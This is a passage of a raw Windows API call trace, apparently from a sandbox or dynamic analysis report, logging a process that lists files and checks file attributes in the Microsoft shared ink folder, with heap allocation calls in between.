cAlternateFileName="SR-LAT~1")) returned 1 [0119.183] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0119.183] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x382ddf8, Size=0x1a8) returned 0x3029018 [0119.183] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0119.183] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x779da8e5, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x3e9600, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0119.183] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x5f780, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0119.183] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0119.183] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0119.184] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0119.184] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79680792, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x79680792, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x79680792, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x101200, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0119.184] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7965a52d, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x7965a52d, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x7965a52d, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x9e1a0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0119.184] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x6ebfe576, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x17a00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0119.184] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0119.184] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0119.184] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0119.184] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0119.184] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0119.185] FindClose (in: hFindFile=0x10f7390 | out: hFindFile=0x10f7390) returned 1 [0119.185] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0119.186] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38878d8 | out: hHeap=0x2ad0000) returned 1 [0119.186] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0119.186] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa")) returned 0x10 [0119.186] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887608 | out: hHeap=0x2ad0000) returned 1 [0119.187] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0119.187] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg")) returned 0x10 [0119.187] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887800 | out: hHeap=0x2ad0000) returned 1 [0119.187] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0119.188] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38879b0 | out: hHeap=0x2ad0000) returned 1 [0119.188] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz")) returned 0x10 [0119.188] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887608 | out: hHeap=0x2ad0000) returned 1 [0119.189] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk")) returned 0x10 [0119.189] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887608 | out: hHeap=0x2ad0000) returned 1 [0119.189] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de")) returned 0x10 [0119.190] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38877b8 | out: hHeap=0x2ad0000) returned 1 [0119.190] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881180, Size=0x20) returned 0x33ea4d0 [0119.190] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr")) returned 0x10 [0119.190] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887380 | out: hHeap=0x2ad0000) returned 1 [0119.190] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb")) returned 0x10 [0119.190] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887410 | out: hHeap=0x2ad0000) returned 1 [0119.190] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us")) returned 0x10 [0119.191] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887608 | out: hHeap=0x2ad0000) returned 1 [0119.191] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es")) returned 0x10 [0119.191] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887338 | out: hHeap=0x2ad0000) returned 1 [0119.192] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33ea4d0, Size=0x40) returned 0x3887338 [0119.192] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx")) returned 0x10 [0119.192] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887530 | out: hHeap=0x2ad0000) returned 1 [0119.192] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee")) returned 0x10 [0119.192] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38873c8 | out: hHeap=0x2ad0000) returned 1 [0119.192] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi")) returned 0x10 [0119.193] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887608 | out: hHeap=0x2ad0000) returned 1 [0119.193] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0119.195] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbcb0 | out: hHeap=0x2ad0000) returned 1 [0119.195] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe")) returned 0x20 [0119.195] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2098 | out: hHeap=0x2ad0000) returned 1 [0119.195] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca")) returned 0x10 [0119.196] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887728 | out: hHeap=0x2ad0000) returned 1 [0119.196] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr")) returned 0x10 [0119.196] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38878d8 | out: hHeap=0x2ad0000) returned 1 [0119.197] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions")) returned 0x10 [0119.197] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db760 | out: hHeap=0x2ad0000) returned 1 [0119.197] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il")) returned 0x10 [0119.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887698 | out: hHeap=0x2ad0000) returned 1 [0119.198] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr")) returned 0x10 [0119.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887728 | out: hHeap=0x2ad0000) returned 1 [0119.198] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3887338, Size=0x64) returned 0x2a19428 [0119.198] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu")) returned 0x10 [0119.199] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887698 | out: hHeap=0x2ad0000) returned 1 [0119.199] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20 [0119.201] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbad0 | out: hHeap=0x2ad0000) returned 1 [0119.201] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38811f8, Size=0x20) returned 0x33ea2a0 [0119.201] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\HWRCustomization" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization")) returned 0x10 [0119.201] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db670 | out: hHeap=0x2ad0000) returned 1 [0119.201] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0119.201] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887650 | out: hHeap=0x2ad0000) returned 1 [0119.202] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0119.202] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbc60 | out: hHeap=0x2ad0000) returned 1 [0119.202] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0x20 [0119.203] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887728 | out: hHeap=0x2ad0000) returned 1 [0119.203] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0119.203] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38879b0 | out: hHeap=0x2ad0000) returned 1 [0119.203] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33ea2a0, Size=0x40) returned 0x3887608 [0119.203] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll")) returned 0x20 [0119.204] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887698 | out: hHeap=0x2ad0000) returned 1 [0119.204] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll")) returned 0x20 [0119.204] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38876e0 | out: hHeap=0x2ad0000) returned 1 [0119.204] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe")) returned 0x20 [0119.205] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2880 | out: hHeap=0x2ad0000) returned 1 [0119.205] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml")) returned 0x20 [0119.206] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887458 | out: hHeap=0x2ad0000) returned 1 [0119.206] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0119.207] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887650 | out: hHeap=0x2ad0000) returned 1 [0119.207] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0119.207] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38879b0 | out: hHeap=0x2ad0000) returned 1 [0119.207] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0119.207] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887770 | out: hHeap=0x2ad0000) returned 1 [0119.207] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0119.208] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887458 | out: hHeap=0x2ad0000) returned 1 [0119.208] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3887608, Size=0x64) returned 0x2a19888 [0119.208] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0119.208] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38876e0 | out: hHeap=0x2ad0000) returned 1 [0119.209] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0119.209] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38873c8 | out: hHeap=0x2ad0000) returned 1 [0119.209] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml")) returned 0x20 [0119.209] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887800 | out: hHeap=0x2ad0000) returned 1 [0119.209] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0119.210] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887530 | out: hHeap=0x2ad0000) returned 1 [0119.210] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0119.210] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887410 | out: hHeap=0x2ad0000) returned 1 [0119.210] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll")) returned 0x20 [0119.211] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb70 | out: hHeap=0x2ad0000) returned 1 [0119.211] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20 [0119.211] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887608 | out: hHeap=0x2ad0000) returned 1 [0119.212] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20 [0119.212] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38878d8 | out: hHeap=0x2ad0000) returned 1 [0119.212] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml")) returned 0x20 [0119.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887338 | out: hHeap=0x2ad0000) returned 1 [0119.213] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19888, Size=0x8c) returned 0x2ac0f00 [0119.213] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshi.xml")) returned 0x20 [0119.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887608 | out: hHeap=0x2ad0000) returned 1 [0119.213] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0119.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38874a0 | out: hHeap=0x2ad0000) returned 1 [0119.213] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml")) returned 0x20 [0119.214] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887728 | out: hHeap=0x2ad0000) returned 1 [0119.214] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20 [0119.214] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38878d8 | out: hHeap=0x2ad0000) returned 1 [0119.214] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20 [0119.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38873c8 | out: hHeap=0x2ad0000) returned 1 [0119.215] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20 [0119.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38877b8 | out: hHeap=0x2ad0000) returned 1 [0119.215] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll")) returned 0x20 [0119.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1f90 | out: hHeap=0x2ad0000) returned 1 [0119.215] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0119.216] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887650 | out: hHeap=0x2ad0000) returned 1 [0119.216] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml")) returned 0x20 [0119.216] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887608 | out: hHeap=0x2ad0000) returned 1 [0119.217] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) 